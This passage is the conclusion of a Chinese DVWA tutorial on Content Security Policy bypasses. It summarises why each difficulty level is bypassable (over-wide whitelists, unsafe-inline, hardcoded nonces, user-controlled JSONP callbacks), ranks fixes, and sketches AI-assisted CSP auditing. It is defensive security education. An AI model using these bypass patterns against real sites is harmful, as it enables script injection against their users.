演进图说明 :防御成熟度沿"白名单失控 → 错误配置 → 同源漏洞 → 安全配置"四个阶段递进,攻击者的利用成本随之逐级抬高。值得注意的是 MEDIUM 的攻击成本反而是全系列最低的------错误配置有时比不配置更危险,因为它给了开发者"已有 CSP 保护"的虚假安全感。
4、CSP 安全配置的核心原则
| 原则 | 说明 | 反面案例 |
|---|---|---|
| 最小权限 | 只允许必要的资源来源 | LOW:白名单塞进 10 个域名 |
禁止 unsafe-inline |
永远不要用 unsafe-inline 放行脚本 |
MEDIUM:内联全放开 |
| 使用随机 nonce | nonce 应每次请求动态生成 | MEDIUM:nonce 硬编码 |
| 避免可控回调 | 不允许用户控制回调函数名 | HIGH:callback 参数直通响应 |
| 白名单最小化 | 白名单越小越好,排除 UGC 平台 | LOW:含 pastebin 等平台 |
| 测试策略有效性 | 上线前用工具与渗透双重验证 | 全级别通用的流程要求 |
说明:这六条原则中,前五条直接对应本实验四个级别的漏洞成因,第六条是流程性保障------CSP 配置不是"一次写完永不复查"的静态产物,而应随应用脚本依赖的变化持续审计。
七、总结
1、漏洞全景回顾
| 维度 | LOW 级别 | MEDIUM 级别 | HIGH 级别 | Impossible 级别 |
|---|---|---|---|---|
| CSP 配置 | 🔴 白名单过宽 | 🔴 unsafe-inline + 硬编码 nonce |
🟡 'self' 但有 JSONP 漏洞 |
🟢 硬编码回调 + 严格策略 |
| 用户可控性 | 🔴 可控 | 🔴 可控 | 🟠 部分可控 | 🟢 不可控 |
| 绕过风险 | 🔴 高 | 🔴 高 | 🟠 中 | 🟢 无 |
表 7-1 说明:三个评估维度的"颜色变化"清晰勾勒出 DVWA 作者的编排意图------让学习者在四个难度间完整走一遍"攻"与"防"的双向路径。
2、核心防御建议优先级
text
高优先级(必须修复)
│
├── ① 禁止使用 'unsafe-inline'【MEDIUM → IMP】
├── ② nonce 应动态生成,不可硬编码【MEDIUM → IMP】
└── ③ JSONP 回调函数名应硬编码【HIGH → IMP】
中优先级(强烈建议)
│
├── ④ 最小化白名单【LOW → IMP】
├── ⑤ 避免把用户生成内容平台列为可信来源【LOW → IMP】
└── ⑥ 定期审计 CSP 策略
低优先级(可选优化)
│
├── ⑦ 部署 AI CSP 策略评估
├── ⑧ 实施 CSP 报告机制(report-uri / report-to)
└── ⑨ 使用 CSP Level 3 的新特性(strict-dynamic 等)
优先级图说明:排序依据是"修复成本 × 风险消减"------高优先级三项均为低成本高收益的改动,任何生产系统都应优先落实;低优先级三项则需要架构层面的投入,适合作为长期演进方向。
3、关键启发
- CSP 是防御工具,不是银弹:配置不当的 CSP 不仅无效,还会给开发者虚假的安全感,MEDIUM 级别就是最好的反例。
- 白名单过宽等于没有 CSP:LOW 级别表明,白名单里混入一个可被攻击者控制的域名,整条信任链即告失效。
unsafe-inline是万恶之源 :MEDIUM 级别的策略同时写入了unsafe-inline与 nonce,现代浏览器按"宁严勿松"规则忽略了前者,裸内联才被拦下;若策略里只有unsafe-inline,所有内联脚本都会被放行。正确做法是删除它,用动态 nonce 或 hash 逐个放行。- nonce 必须动态生成:MEDIUM 级别的硬编码 nonce 证明,"一次性令牌"一旦可预测,就不再是令牌。
- 同源不代表安全:HIGH 级别表明,CSP 的信任边界画在域名层面,同源接口的内容可控性是 CSP 的结构性盲区,必须由应用层自查。
八、AI增强防御建议
1、 智能 CSP 策略评估
| 传统方案 | AI 增强方案 |
|---|---|
| 依赖人工配置 CSP | 自动化 CSP 策略分析与优化 |
| 静态策略配置 | 基于页面脚本依赖的动态策略推荐 |
| 难以发现配置漏洞 | 自动识别 CSP 配置缺陷与已知绕过模式 |
说明:CSP 策略文本高度结构化,天然适合自动化分析;而"这个域名是否可被利用"这类需要大量安全知识的判断,正是 AI 结合知识库能发挥价值的地方。
实现思路分三步:
- 分析 CSP 策略 :解析策略文本,识别
unsafe-inline、过宽白名单、硬编码 nonce 等已知问题; - 推荐最优配置:结合页面的实际脚本依赖(哪些域名的脚本真的被加载了),生成"按需放行"的收紧建议;
- 检测绕过模式:把策略与已知绕过知识库比对,输出"当前配置可被 XX 方式绕过"的可执行结论。
2、基于攻击模式的 CSP 检测
| 特征维度 | 安全 CSP | 可绕过的 CSP |
|---|---|---|
| 白名单大小 | 小(≤ 3 个域名) | 大(≥ 10 个域名) |
unsafe-inline |
无 | 有 |
| nonce 随机性 | 动态生成 | 硬编码或可预测 |
| JSONP 接口 | 硬编码回调 | 用户可控回调 |
说明:这四个特征维度可以直接作为机器学习模型的输入特征或规则引擎的判定条件------本实验的四个级别恰好构成了"安全 / 可绕过"两类的完整标注样本。
实现思路:
- 使用机器学习模型对 CSP 策略进行安全性评分,输出风险等级;
- 识别常见的 CSP 绕过模式(白名单滥用、nonce 重用、JSONP 回调可控等);
- 自动生成安全配置建议与修复优先级排序。
3、AI 防御架构图
text
┌─────────────────────────────────────────────────────────────────────────┐
│ CSP AI 增强防御架构 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ 策略层 │───►│ 检测层 │───►│ 响应层 │ │
│ │ 策略生成 │ │ 模式识别 │ │ 策略更新 │ │
│ │ 动态 nonce │ │ 异常检测 │ │ 告警通知 │ │
│ │ 最小白名单 │ │ 绕过检测 │ │ 策略优化 │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
架构图说明:策略层负责"生成正确的东西"(动态 nonce、最小白名单),检测层负责"发现异常与绕过"(模式识别、违规报告分析),响应层负责"闭环处置"(告警、策略热更新)。三层联动才能把 CSP 从一次性配置变成持续运营的安全能力。
4、实施优先级建议
| 优先级 | 措施 | 实施难度 | 防御效果 |
|---|---|---|---|
| 高 | 禁止 unsafe-inline |
低 | 高 |
| 高 | 动态 nonce 生成 | 低 | 高 |
| 高 | 硬编码 JSONP 回调 | 低 | 高 |
| 中 | 最小化白名单 | 中 | 中 |
| 中 | 智能 CSP 策略评估 | 中 | 中 |
| 低 | AI 策略优化 | 高 | 高 |
说明:三项"高优先级 + 低难度"措施是所有网站的必做项;AI 相关的两项适合安全成熟度较高的团队按需引入。
5、总结
AI 时代的 CSP 安全,不是用 AI 替代传统配置,而是用 AI 增强策略管理。
- 传统防御 提供基础安全基线:禁止
unsafe-inline、动态 nonce、最小白名单、硬编码回调------本实验四个级别已经完整演示了违背每一条的代价; - AI 增强提供智能化的策略评估、模式识别和自适应优化,让 CSP 配置从"上线即冻结"走向"持续演进"。
二者结合,才能构建真正稳健的 CSP 防御体系。
免责声明:本文所述内容仅供安全研究与学习交流使用,所有测试均在本地授权靶场(DVWA)环境中进行。未经授权,严禁将文中技术用于任何非法目的。
📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 14 篇文章。
- 上一篇 :从持久存储到全面过滤:DVWA 存储型 XSS 模块完整漏洞分析教程
- 下一篇 :将进入 JavaScript Attacks(JavaScript攻击) 模块,带你完整理解 JavaScript 安全漏洞的攻防全貌。
👉 点击订阅专栏,第一时间收到更新通知!
如果你在阅读过程中有任何疑问,欢迎在评论区留言交流。😊